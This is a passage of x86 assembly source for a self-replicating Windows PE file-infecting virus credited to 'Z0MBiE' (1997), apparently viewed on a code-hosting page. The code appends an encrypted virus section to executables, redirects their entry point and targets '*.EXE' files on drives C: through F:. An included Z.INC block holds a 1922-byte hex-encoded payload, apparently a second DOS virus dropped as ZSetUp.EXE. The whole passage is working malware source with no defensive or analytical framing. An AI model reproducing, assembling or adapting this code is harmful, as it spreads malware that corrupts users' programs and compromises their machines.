mov physicaloffset[ebp],eax
|
||||
|
||||
; update the image size (the size in memory) of the file
|
||||
mov eax, virtsize
|
||||
add eax, imagesize[ebp]
|
||||
mov ecx, objalign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov imagesize[ebp],eax
|
||||
|
||||
; copy the new object into the object table
|
||||
mov ecx, 40/4
|
||||
rep movsd
|
||||
|
||||
; calculate the entrypoint RVA
|
||||
mov eax, RVA[ebp]
|
||||
|
||||
mov ebx, entrypointRVA[ebp]
|
||||
mov entrypointRVA[ebp], eax
|
||||
|
||||
sub eax, ebx
|
||||
|
||||
; Set the value needed to return to the host
|
||||
mov subme[ebp], eax
|
||||
|
||||
; go back to the start of the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; write the pe header and object table to the file
|
||||
mov ecx, headersize[ebp]
|
||||
lea edx, peheader[ebp]
|
||||
call writefile
|
||||
|
||||
; move to the physical offset of the new object
|
||||
mov edx, physicaloffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; write the virus code to the new object
|
||||
|
||||
call random
|
||||
mov xorword[ebp], eax
|
||||
|
||||
lea edx, start[ebp]
|
||||
mov ecx, decrsize
|
||||
call writefile
|
||||
|
||||
lea esi, codestart[ebp]
|
||||
lea edi, buf[ebp]
|
||||
mov ecx, cryptn
|
||||
@@1: lodsd
|
||||
xor eax, xorword[ebp]
|
||||
neg eax
|
||||
stosd
|
||||
loop @@1
|
||||
|
||||
lea edx, buf[ebp]
|
||||
mov ecx, viriisize-decrsize
|
||||
call writefile
|
||||
|
||||
@@close: call closefile
|
||||
|
||||
@@exit: ret
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
; output: eax=rnd
|
||||
; zf=rnd(2)
|
||||
|
||||
random: call random16bit
|
||||
shl eax, 16
|
||||
|
||||
random16bit: push ebx
|
||||
mov bx, 1234h
|
||||
rndword equ word ptr $-2
|
||||
in al, 40h
|
||||
xor bl, al
|
||||
in al, 40h
|
||||
add bh, al
|
||||
in al, 41h
|
||||
sub bl, al
|
||||
in al, 41h
|
||||
xor bh, al
|
||||
in al, 42h
|
||||
add bl, al
|
||||
in al, 42h
|
||||
sub bh, al
|
||||
mov rndword[ebp], bx
|
||||
xchg bx, ax
|
||||
pop ebx
|
||||
test al, 1
|
||||
ret
|
||||
|
||||
; input: eax
|
||||
; output: eax=rnd(eax)
|
||||
; zf=rnd(2)
|
||||
|
||||
rnd: push ebx
|
||||
push edx
|
||||
xchg ebx, eax
|
||||
call random
|
||||
xor edx, edx
|
||||
div ebx
|
||||
xchg edx, eax
|
||||
pop edx
|
||||
pop ebx
|
||||
test al, 1
|
||||
ret
|
||||
|
||||
|
||||
codesize equ $-start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
kernel_sign: pushfd ; <- kernel
|
||||
cld
|
||||
push eax
|
||||
push ebx
|
||||
push edx
|
||||
kernel_sign_size equ $-kernel_sign
|
||||
|
||||
kernel_call dd ?
|
||||
|
||||
names: db 'ExitProcess',0
|
||||
db 'FindFirstFileA',0
|
||||
db 'FindNextFileA',0
|
||||
db 'CreateFileA',0
|
||||
db 'SetFilePointer',0
|
||||
db 'ReadFile',0
|
||||
db 'WriteFile',0
|
||||
db 'CloseHandle',0
|
||||
db 'GetCurrentDirectoryA',0
|
||||
db 'SetCurrentDirectoryA',0
|
||||
db 'GetWindowsDirectoryA',0
|
||||
db 'GetCommandLineA',0
|
||||
db 'WinExec',0
|
||||
db 'SetPriorityClass',0
|
||||
db 'GetModuleHandleA',0
|
||||
db 0
|
||||
|
||||
fns:
|
||||
def_fn macro name
|
||||
_&name&: db 68h
|
||||
fn_&name& dd ?
|
||||
jmp kernel_call[ebp]
|
||||
endm
|
||||
|
||||
def_fn ExitProcess
|
||||
def_fn FindFirstFileA
|
||||
def_fn FindNextFileA
|
||||
def_fn CreateFileA
|
||||
def_fn SetFilePointer
|
||||
def_fn ReadFile
|
||||
def_fn WriteFile
|
||||
def_fn CloseHandle
|
||||
def_fn GetCurrentDirectoryA
|
||||
def_fn SetCurrentDirectoryA
|
||||
def_fn GetWindowsDirectoryA
|
||||
def_fn GetCommandLineA
|
||||
def_fn WinExec
|
||||
def_fn SetPriorityClass
|
||||
def_fn GetModuleHandleA
|
||||
|
||||
bytesread dd ?
|
||||
|
||||
drive_c db 'C:\',0
|
||||
drive_d db 'D:\',0
|
||||
drive_e db 'E:\',0
|
||||
drive_f db 'F:\',0
|
||||
|
||||
exefiles db '*.EXE',0
|
||||
dirfiles db '*.',0
|
||||
|
||||
prev_dir db '..',0
|
||||
|
||||
win32_data_thang:
|
||||
fileattr dd 0
|
||||
createtime dd 0,0
|
||||
lastaccesstime dd 0,0
|
||||
lastwritetime dd 0,0
|
||||
filesize dd 0,0
|
||||
resv dd 0,0
|
||||
fullname db 'Z0MB.EXE',256-8 dup (0)
|
||||
realname db 256 dup (0)
|
||||
|
||||
handle dd ?
|
||||
|
||||
peheaderoffset dd ?
|
||||
objecttableoffset dd ?
|
||||
|
||||
newobject: ;1234567 8
|
||||
oname db '.Z0MBiE',0
|
||||
virtualsize dd 0
|
||||
RVA dd 0
|
||||
physicalsize dd 0
|
||||
physicaloffset dd 0
|
||||
reserved dd 0,0,0
|
||||
objectflags db 40h,0,0,0c0h
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
db 13,10,'Z0MBiE 1.01 (c) 1997',13,10
|
||||
db 'My 2nd virii for mustdie',13,10
|
||||
db 'Tnx to S.S.R.',13,10
|
||||
|
||||
m1 macro n
|
||||
if n ge 100000
|
||||
db n / 10000/10 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
if n ge 10000
|
||||
db n / 10000 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
if n ge 1000
|
||||
db n / 1000 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
db n / 100 mod 10 + '0'
|
||||
db n / 10 mod 10 + '0'
|
||||
db n / 1 mod 10 + '0',13,10
|
||||
endm
|
||||
|
||||
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
zsetup db '\ZSetUp.EXE',0
|
||||
z:
|
||||
include z.inc ; Z0MBiE.1922
|
||||
z_size equ $-z
|
||||
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
|
||||
db 13,10
|
||||
db 'code..............'
|
||||
m1 codesize
|
||||
db 'viriisize.........'
|
||||
m1 viriisize
|
||||
db 'virtsize..........'
|
||||
m1 virtsize
|
||||
|
||||
peheader:
|
||||
signature dd 0
|
||||
cputype dw 0
|
||||
numObj dw 0
|
||||
dd 3 dup (0)
|
||||
NtHeaderSize dw 0
|
||||
Flags dw 0
|
||||
dd 4 dup (0)
|
||||
entrypointRVA dd 0
|
||||
dd 3 dup (0)
|
||||
objalign dd 0
|
||||
filealign dd 0
|
||||
dd 4 dup (0)
|
||||
imagesize dd 0
|
||||
headersize dd 0
|
||||
peheader_size equ $-peheader
|
||||
|
||||
align 4
|
||||
viriisize equ $-start
|
||||
|
||||
infdir db 256 dup (?)
|
||||
|
||||
maxbufsize equ 4096
|
||||
buf db maxbufsize dup (?)
|
||||
|
||||
virtsize equ $-start
|
||||
end start
|
||||
|
||||
; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
|
||||
abc_size equ 1922 ; size in bytes
|
||||
abc_num equ 1922 ; size in elements
|
||||
|
||||
abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
|
||||
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
|
||||
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
|
||||
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
|
||||
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
|
||||
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
|
||||
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
|
||||
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
|
||||
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
|
||||
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
|
||||
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
|
||||
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
|
||||
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
|
||||
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
|
||||
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
|
||||
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
|
||||
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
|
||||
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
|
||||
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
|
||||
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
|
||||
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
|
||||
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
|
||||
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
|
||||
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
|
||||
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
|
||||
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
|
||||
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
|
||||
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
|
||||
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
|
||||
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
|
||||
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
|
||||
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
|
||||
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
|
||||
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
|
||||
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
|
||||
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
|
||||
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
|
||||
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
|
||||
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
|
||||
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
|
||||
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
|
||||
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
|
||||
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
|
||||
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
|
||||
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
|
||||
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
|
||||
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
|
||||
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
|
||||
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
|
||||
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
|
||||
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
|
||||
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
|
||||
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
|
||||
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
|
||||
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
|
||||
db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
|
||||
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
|
||||
db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
|
||||
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
|
||||
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
|
||||
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
|
||||
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
|
||||
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
|
||||
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
|
||||
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
|
||||
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
|
||||
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
|
||||
db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
|
||||
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
|
||||
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
|
||||
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
|
||||
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
|
||||
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
|
||||
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
|
||||
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
|
||||
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
|
||||
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
|
||||
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
|
||||
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
|
||||
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
|
||||
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
|
||||
db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
|
||||
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
|
||||
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
|
||||
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
|
||||
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
|
||||
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
|
||||
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
|
||||
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
|
||||
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
|
||||
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
|
||||
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
|
||||
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
|
||||
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
|
||||
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
|
||||
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
|
||||
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
|
||||
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
|
||||
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
|
||||
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
|
||||
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
|
||||
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
|
||||
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
|
||||
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
|
||||
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
|
||||
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
|
||||
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
|
||||
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
|
||||
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
|
||||
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
|
||||
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
|
||||
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
|
||||
db 03fh,03fh,03fh
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user